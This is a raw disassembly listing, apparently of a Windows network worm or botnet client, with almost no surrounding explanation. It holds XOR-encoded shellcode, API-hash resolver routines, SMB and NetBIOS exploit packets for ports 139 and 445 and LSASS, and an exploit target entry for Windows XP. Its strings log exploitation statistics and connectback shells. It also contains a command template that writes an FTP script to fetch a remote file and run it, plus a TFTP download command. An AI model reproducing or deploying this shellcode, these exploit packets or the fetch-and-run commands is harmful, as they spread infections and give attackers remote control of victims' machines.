dword_449160	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40A57F+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4491C4	dd 12h			; DATA XREF: sub_40A57F+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40A57F+79o
aJ_1		db 'j',0
		db 0E8h
dword_4491DD	dd 17h			; DATA XREF: sub_40A57F+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_4491E4
		retn
; ---------------------------------------------------------------------------
byte_4491E4	db 0E8h			; CODE XREF: .nsp0:004491E1j
dword_4491E5	dd 1			; DATA XREF: sub_40A57F+45w
byte_4491E9	db 0, 6Ah, 0		; DATA XREF: sub_40A57F+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4491F3	dd 0FFFFFFEDh		; DATA XREF: sub_40A57F+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; CloseHandle
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
dword_449224	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40A8BA+10o
dword_449238	dd 202E6425h, 7325h	; DATA XREF: sub_40A8BA+46o
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40AA8B+35o
		align 4
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40AA8B+51o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40B9F0+164o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40AEDE+30o
		align 4
		dd 5 dup(0)
dword_4492A8	dd 0B97h		; DATA XREF: sub_401CC1+18D3r
					; sub_401CC1+18FFo ...
off_4492AC	dd offset sub_40DBCD	; DATA XREF: sub_40B9F0+1E6r
dword_4492B0	dd 0			; DATA XREF: sub_40AD51+2Eo
					; .nsp0:0040CD4Fw ...
dword_4492B4	dd 1			; DATA XREF: sub_40B1CC+1Fr
dword_4492B8	dd 1			; DATA XREF: sub_40B1CC+3B3r
dword_4492BC	dd 0			; DATA XREF: sub_40B1CC+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40DD03h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DA62h, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DA62h, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40CBA7h, 0
		dd 2 dup(1), 0
aMsass		db 'msass',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
; ---------------------------------------------------------------------------
		mov	ebp, 0A7000001h
		retf
; ---------------------------------------------------------------------------
		dw 40h
		dd 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40CBA7h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
		dd 6D7973h, 0
		db 2 dup(0)
byte_44948A	db 1			; DATA XREF: sub_401CC1:loc_403512r
					; sub_401CC1+185Bo
aNet445_0	db 'net445',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_4494B6

; =============== S U B	R O U T	I N E =======================================



sub_4494A6	proc near		; CODE XREF: sub_4494A6:loc_4494B6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4494AE:				; CODE XREF: sub_4494A6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4494AE
		jmp	short loc_4494BB
; ---------------------------------------------------------------------------


loc_4494B6:				; CODE XREF: .nsp0:004494A4j
		call	sub_4494A6


loc_4494BB:				; CODE XREF: sub_4494A6+Ej
		jo	short near ptr dword_449444+12h
		cwde
		cdq
		cdq
		retn
sub_4494A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
unk_449624	db  2Dh	; -		; DATA XREF: sub_40AD51+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
dword_449644	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40AD51+46o
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40AD51+85o
		align 4
unk_449664	db  2Dh	; -		; DATA XREF: sub_40AE1F+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_4496AC	db  2Dh	; -		; DATA XREF: sub_40AE8A+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
dword_4496D8	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40AEDE+14o
		dd 7473694Ch, 3Ah
dword_4496F4	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40AEDE+40o
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40AEDE+7Eo
unk_449714	db  2Dh	; -		; DATA XREF: sub_40AFA4+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_449744	db  2Dh	; -		; DATA XREF: sub_40AFA4+16Eo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_449778	db  2Dh	; -		; DATA XREF: sub_40B155+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_449794	db  2Dh	; -		; DATA XREF: sub_40B155+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_4497B4	db  2Dh	; -		; DATA XREF: sub_40B1CC+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_2	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_4497E8	db  2Dh	; -		; DATA XREF: sub_40B1CC+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server, error: <%d>.',0
		align 4
unk_44981C	db  2Dh	; -		; DATA XREF: sub_40B1CC+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_449850	db  2Dh	; -		; DATA XREF: sub_40B1CC+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start server, error: <%d>.',0
		align 4
unk_449884	db  2Dh	; -		; DATA XREF: sub_40B1CC+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_4	db '- Server started on Port: %d.',0
		align 4
unk_4498B4	db  2Dh	; -		; DATA XREF: sub_40B1CC+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_28	db '- Failed to start server, error: <%d>.',0
unk_4498EC	db  2Dh	; -		; DATA XREF: sub_40B1CC+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_1	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_449928	db  2Dh	; -		; DATA XREF: sub_40B1CC+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_29	db ' Failed to start server, error: <%d>.',0
		align 4
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40B6EA+38o
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: .nsp0:0040B918o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .nsp0:0040B94Fo
aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: .nsp0:0040B9A9o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: .nsp0:0040B9CEo
		align 10h
aSocketClosed_	db 'Socket closed.',0   ; DATA XREF: .nsp0:loc_40B9DEo
		align 10h
unk_4499E0	db  2Dh	; -		; DATA XREF: sub_40B9F0+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_449A18	db  2Dh	; -		; DATA XREF: sub_40B9F0+EBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 10h
unk_449A40	db  2Dh	; -		; DATA XREF: sub_40BC04+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
unk_449A74	db  2Dh	; -		; DATA XREF: sub_40BC04+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_449AA8	db  2Dh	; -		; DATA XREF: sub_40BC04+173o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_449AE0	db  2Dh	; -		; DATA XREF: sub_40BC04+1CEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 10h
unk_449B20	db  2Dh	; -		; DATA XREF: sub_40BE63+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_449B48	db  2Dh	; -		; DATA XREF: sub_40BF30+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 10h
unk_449B70	db  2Dh	; -		; DATA XREF: sub_40C021+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_449B9C	db  2Dh	; -		; DATA XREF: sub_40C021+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40C3D0+B2o
		align 4
dword_449BD4	dd 10FF8h, 0		; DATA XREF: sub_40C3D0+6Ao
dword_449BDC	dd 10FF8h		; DATA XREF: sub_40C3D0+79o
dword_449BE0	dd 7FFDF020h, 0		; DATA XREF: sub_40C3D0+162o
dword_449BE8	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40C7FA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_449C70	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40C7FA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_449CA0	dd 0			; DATA XREF: sub_40C7FA+44o
		dd 800000D4h, 0
unk_449CAC	db  81h	; 		; DATA XREF: sub_40C8D4+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 8
byte_449CF8	db 41h			; DATA XREF: sub_40C972+FFr
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_449D3C	proc near		; DATA XREF: .nsp0:0040CC29o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_449E38
		push	dword ptr [esi]
		push	63D61209h
		call	sub_449E4E
		mov	[esi+8], eax
		call	sub_449E01
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_449E4E
		mov	[esi+0Ch], eax
		call	sub_449DB3
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_449E4E
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_449D3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_449DB3	proc near		; CODE XREF: sub_449D3C+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_449DDC
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_449DB3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_449DDC	proc near		; CODE XREF: sub_449DB3+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_449DEB:				; CODE XREF: sub_449DDC+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_449DF8
		inc	ebx
		jmp	short loc_449DEB
; ---------------------------------------------------------------------------


loc_449DF8:				; CODE XREF: sub_449DDC+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_449DDC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_449E01	proc near		; CODE XREF: sub_449D3C+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_449E19:				; CODE XREF: sub_449E01+1Ej
		cmp	[ecx], ebx
		jz	short loc_449E21
		mov	ecx, [ecx]
		jmp	short loc_449E19
; ---------------------------------------------------------------------------


loc_449E21:				; CODE XREF: sub_449E01+1Aj
		mov	edx, edi


loc_449E23:				; CODE XREF: sub_449E01+2Aj
		cmp	[edx+4], ebx
		jz	short loc_449E2D
		mov	edx, [edx+4]
		jmp	short loc_449E23
; ---------------------------------------------------------------------------


loc_449E2D:				; CODE XREF: sub_449E01+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_449E01	endp


; =============== S U B	R O U T	I N E =======================================



sub_449E38	proc near		; CODE XREF: sub_449D3C+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_449E38	endp


; =============== S U B	R O U T	I N E =======================================



sub_449E4E	proc near		; CODE XREF: sub_449D3C+16p
					; sub_449D3C+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_449E64:				; CODE XREF: sub_449E4E+33j
		jecxz	short loc_449E9E
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_449E71:				; CODE XREF: sub_449E4E+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_449E7D
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_449E71
; ---------------------------------------------------------------------------


loc_449E7D:				; CODE XREF: sub_449E4E+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_449E64
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_449E9E:				; CODE XREF: sub_449E4E:loc_449E64j
					; sub_449E4E:loc_449E9Ej
		jmp	short loc_449E9E
sub_449E4E	endp

; ---------------------------------------------------------------------------
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_449EA4	proc near		; DATA XREF: .nsp0:0040CBD7o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_449EF6
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_449EC1:				; CODE XREF: sub_449EA4+38j
		jecxz	short loc_449EF1
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_449ECC:				; CODE XREF: sub_449EA4+32j
		lodsb
		test	al, al
		jz	short loc_449ED8
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_449ECC
; ---------------------------------------------------------------------------


loc_449ED8:				; CODE XREF: sub_449EA4+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_449EC1
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_449EF1:				; CODE XREF: sub_449EA4:loc_449EC1j
		mov	[esp+arg_0], ebx
		retn
sub_449EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_449EF6	proc near		; CODE XREF: sub_449EA4+7p

; FUNCTION CHUNK AT 00449F2E SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_449F0F
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_449F1A
; ---------------------------------------------------------------------------


loc_449F0F:				; CODE XREF: sub_449EF6+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_449F1A:				; CODE XREF: sub_449EF6+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_449F2E
sub_449EF6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_449F21	proc near		; CODE XREF: sub_449EF6:loc_449F2Ep
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_449F21	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449EF6


loc_449F2E:				; CODE XREF: sub_449EF6+29j
		call	sub_449F21


loc_449F33:				; DATA XREF: sub_40C375+1Bo
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_449EF6
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_449F38:				; DATA XREF: sub_40C3D0+E8o
		jmp	short near ptr dword_449F40
; ---------------------------------------------------------------------------
		align 10h
dword_449F40	dd 0			; CODE XREF: .nsp0:loc_449F38j
aCccc		db 'CCCC',0             ; DATA XREF: sub_40C3D0+153o
		align 4
dword_449F4C	dd 3			; DATA XREF: sub_40C3D0+246o
dword_449F50	dd 0A1h			; DATA XREF: sub_40C3D0+29Fo
dword_449F54	dd 30h			; DATA XREF: sub_40C3D0+2CAo
dword_449F58	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40C3D0+2F5o
dword_449F64	dd 60h			; DATA XREF: sub_40C3D0+320o
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .nsp0:0040CBFEo
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_449FD0	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40D46C+2B3o
; ---------------------------------------------------------------------------


loc_449FDC:				; CODE XREF: .nsp0:00449FE6j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_449FDC
		inc	edi
		jz	short loc_44A023
		and	eax, 952CE753h
		inc	esp
		jle	short loc_44A04B
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_44A023:				; CODE XREF: .nsp0:00449FE9j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_44A082+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_44A048:				; CODE XREF: .nsp0:0044A075j
		xor	[esi-25h], bl


loc_44A04B:				; CODE XREF: .nsp0:00449FF1j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_44A064:				; CODE XREF: .nsp0:0044A097j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_44A048
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_44A082:				; CODE XREF: .nsp0:0044A029j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_44A10E
		jo	short loc_44A064
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_44A0A5+1
		add	bl, [edi]


loc_44A0A5:				; CODE XREF: .nsp0:0044A0A1j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_44A0BA+2
		cmp	ch, bh
		dec	edx


loc_44A0BA:				; CODE XREF: .nsp0:0044A0B5j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_44A10E:				; CODE XREF: .nsp0:0044A095j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short near ptr aWindowsXpSp0Sp+14h
		sub	al, 0BCh
		jmp	near ptr 5446A502h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_44A130	dd 0EFFFC481h, 44FFFFh,	44A164h	; DATA XREF: sub_40D46C+29Ao
dword_44A13C	dd 42Ah			; DATA XREF: sub_40D46C+24Dr
dword_44A140	dd 3E8h			; DATA XREF: sub_40D46C+2BEr
dword_44A144	dd 258h			; DATA XREF: sub_40D46C+290r
byte_44A148	db 1			; DATA XREF: sub_40D46C+1F9r
					; sub_40D46C+2C7r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_44A160	dd 20804h		; DATA XREF: sub_40D370r
					; sub_40D46C+2E5o ...
